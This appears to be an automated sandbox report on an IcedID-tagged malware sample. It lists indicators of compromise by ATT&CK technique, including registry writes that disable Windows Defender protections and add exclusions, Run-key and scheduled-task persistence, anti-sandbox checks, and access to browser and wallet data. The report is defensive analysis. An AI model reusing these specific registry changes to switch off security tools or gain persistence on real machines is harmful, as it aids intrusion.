icedid | 433e51a49b84a52cd5f740a12ec46a145d3c14a95e529d4ef32fd250e02829ed

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	v_lxWPWyyQa5IH0Gr3FB4Rlq.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	v_lxWPWyyQa5IH0Gr3FB4Rlq.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	v_lxWPWyyQa5IH0Gr3FB4Rlq.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	v_lxWPWyyQa5IH0Gr3FB4Rlq.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation	Tue09264824c4.exe
Key value queried	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation	rundll32.exe

Loads dropped DLL 18 IoCs

pid	Process
3784	setup_install.exe
3784	setup_install.exe
3784	setup_install.exe
3784	setup_install.exe
3784	setup_install.exe
3784	setup_install.exe
3784	setup_install.exe
1336	Tue0990c8b597f.tmp
4312	Tue0990c8b597f.tmp
4584	rundll32.exe
5668	msiexec.exe
5028	schtasks.exe
7120	Calculator Installation.exe
7120	Calculator Installation.exe
7120	Calculator Installation.exe
3020	setup.tmp
7408	Setup.exe
7408	Setup.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 11 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions	setup.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Pictures\Adobe Films\Zw8Q4VzGVkvw6DEifS7aZRag.exe = "0"	setup.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	setup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet	setup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	setup.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Pictures\Adobe Films\kYufThxLpuBaLKBYroe6xyXT.exe = "0"	kYufThxLpuBaLKBYroe6xyXT.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	setup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Real-Time Protection	setup.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet\SpyNetReporting = "0"	setup.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet\SubmitSamplesConsent = "0"	setup.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	setup.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	vOX6xhCxIkACCUizpfmcQ_Pi.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	1721671.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	vOX6xhCxIkACCUizpfmcQ_Pi.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 21 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	v_lxWPWyyQa5IH0Gr3FB4Rlq.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mshta.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	8pWB.eXE
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	FarLabUninstaller.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	postback.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mshta.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	WG1uEEN.EXe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mshta.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mshta.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	3503258.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	v_lxWPWyyQa5IH0Gr3FB4Rlq.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mshta.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mshta.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	search_hyperfs_206.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	8161637.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	setup.tmp
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	kPBhgOaGQk.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Tue0990c8b597f.tmp
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Tue0947ef38552fc.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	postback.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	vOX6xhCxIkACCUizpfmcQ_Pi.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 18 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
280	ipinfo.io
421	ipinfo.io
87	freegeoip.app
233	ipinfo.io
96	ipinfo.io
97	ipinfo.io
105	freegeoip.app
430	ipinfo.io
584	ipinfo.io
84	freegeoip.app
95	ipinfo.io
585	ipinfo.io
586	ipinfo.io
231	ipinfo.io
281	ipinfo.io
422	ipinfo.io
24	ip-api.com
88	freegeoip.app

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\PowerControl HR	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\PowerControl LG	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
5168	v_lxWPWyyQa5IH0Gr3FB4Rlq.exe
5584	v_lxWPWyyQa5IH0Gr3FB4Rlq.exe

Suspicious use of SetThreadContext 13 IoCs

description	pid	Process	procid_target
PID 3328 set thread context of 4520	3328	Tue09c1731fe55c7.exe	124
PID 2220 set thread context of 4528	2220	Altrove.exe.com	123
PID 1656 set thread context of 3036	1656	svchost.exe	162
PID 2764 set thread context of 5740	2764	run.exe	169
PID 6020 set thread context of 3040	6020	ybS3o3xy6Gca9lbgcvF8DTmY.exe	3
PID 6020 set thread context of 3040	6020	ybS3o3xy6Gca9lbgcvF8DTmY.exe	3
PID 2416 set thread context of 3040	2416	1k6rpdU0gxBNmXN72xnE1Y53.exe	3
PID 5936 set thread context of 6272	5936	VbCuGo6ubmmQTyQO2vcRYZHF.exe	209
PID 2392 set thread context of 4224	2392	Tue091e2054cef7.exe	222
PID 6036 set thread context of 3584	6036	eKsuuFV6o6UT37M91R2Iu92T.exe	256
PID 5964 set thread context of 3196	5964	setup.exe	259
PID 2360 set thread context of 3040	2360	cmd.exe	3
PID 2644 set thread context of 8124	2644	kYufThxLpuBaLKBYroe6xyXT.exe	292

autoit_exe 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral5/files/0x000400000001abc7-167.dat	autoit_exe
behavioral5/files/0x000400000001abc7-186.dat	autoit_exe

Drops file in Program Files directory 24 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\FarLabUninstaller\is-R6CH8.tmp	Tue0990c8b597f.tmp
File opened for modification	C:\Program Files (x86)\Company\NewProduct\inst3.exe	3503258.exe
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	Vn8eZwEgswlmVS33xmSPaChK.exe
File created	C:\Program Files (x86)\Company\NewProduct\d	jg1_1faf.exe
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	Vn8eZwEgswlmVS33xmSPaChK.exe
File created	C:\Program Files (x86)\FarLabUninstaller\is-2L9CV.tmp	setup.tmp
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	Tue0990c8b597f.tmp
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	Vn8eZwEgswlmVS33xmSPaChK.exe
File created	C:\Program Files (x86)\FarLabUninstaller\is-MUEHP.tmp	setup.tmp
File created	C:\Program Files (x86)\Company\NewProduct\tmp.edb	jg1_1faf.exe
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	Tue0990c8b597f.tmp
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cutm3.exe	3503258.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe	3503258.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	3503258.exe
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	Vn8eZwEgswlmVS33xmSPaChK.exe
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe	setup.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\is-5G0F2.tmp	setup.tmp
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	3503258.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\d	jg1_1faf.exe
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe	setup.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\is-QFJQA.tmp	setup.tmp
File opened for modification	C:\Program Files (x86)\Company\NewProduct\d.INTEG.RAW	jg1_1faf.exe
File created	C:\Program Files (x86)\Company\NewProduct\d.jfm	jg1_1faf.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	Explorer.EXE
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	Process not Found
File opened for modification	C:\Windows\Debug\ESE.TXT	Process not Found

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 14 IoCs

pid	pid_target	Process	procid_target
4932	2224	WerFault.exe	101
1384	2224	WerFault.exe	101
1016	2224	WerFault.exe	101
2992	2224	WerFault.exe	101
1464	2224	WerFault.exe	101
5652	2224	WerFault.exe	101
5944	2764	WerFault.exe	131
6084	2224	WerFault.exe	101
6492	3056	WerFault.exe	148
6580	5984	WerFault.exe	177
6980	5984	WerFault.exe	177
6276	5984	WerFault.exe	177
6416	5984	WerFault.exe	177
6424	6036	WerFault.exe	185

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Tue09792fda06e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	VbCuGo6ubmmQTyQO2vcRYZHF.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	VbCuGo6ubmmQTyQO2vcRYZHF.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	VbCuGo6ubmmQTyQO2vcRYZHF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Tue09792fda06e.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Tue09792fda06e.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe

Creates scheduled task(s) 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
5028	schtasks.exe
2712	schtasks.exe
7528	schtasks.exe
7448	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
9176	timeout.exe

Kills process with taskkill 11 IoCs

evasion

pid	Process
5084	taskkill.exe
9020	taskkill.exe
10060	taskkill.exe
2056	taskkill.exe
6916	taskkill.exe
6456	taskkill.exe
8184	taskkill.exe
4756	taskkill.exe
3692	taskkill.exe
3160	taskkill.exe
5772	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main	setup.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	svchost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit	svchost.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "0"	Process not Found
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\SubSysId = "0"	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge	Process not Found
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url4 = "https://login.live.com/"	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache	Process not Found
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CacheLimit = "1"	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore	Process not Found
Set value (data)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{AEBA21FA-782A-4A90-978D-B72164 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a	Process not Found
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionHigh = "0"	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DeviceId = "0"	Process not Found
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\EnablementState = "1"	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\SplashScreen	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration	Process not Found
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url1 = "https://www.facebook.com/"	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies	Process not Found
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionI = "{8AFA3049-604A-4675-90F4-5893DA0B8413}"	Process not Found
Set value (data)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{K2QMW1I5-C7CF-APK0-W60J-X1GR5HEJENXO}\1 = "2302"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer	Process not Found
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DXFeatureLevel = "0"	Process not Found
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListInPrivateBrowsingAllowed = "1"	Process not Found
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\OneTimeCleanup = "1"	Process not Found
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\MigrationTime = 25b0743d06c1d701	Process not Found
Set value (data)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites\Order = 0c0000000a000000000000000c0000000100000000000000	Process not Found
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\DatabaseComplete = "1"	Process not Found
Set value (data)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\EnableNegotiate = "1"	Process not Found
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\DetectPhoneNumberCompleted = "1"	Process not Found
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "0"	Process not Found
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "0"	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CacheLimit = "1"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url3 = "https://signin.ebay.com/ws/ebayisapi.dll"	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry\DontShowMeThisDialogAgain	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\PageSetup	Process not Found
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{U9IGI0Q2-B7HR-SAI9-Z61V-J0SY8EIASHJB}\7289246C77593EBF\2 = "1"	svchost.exe
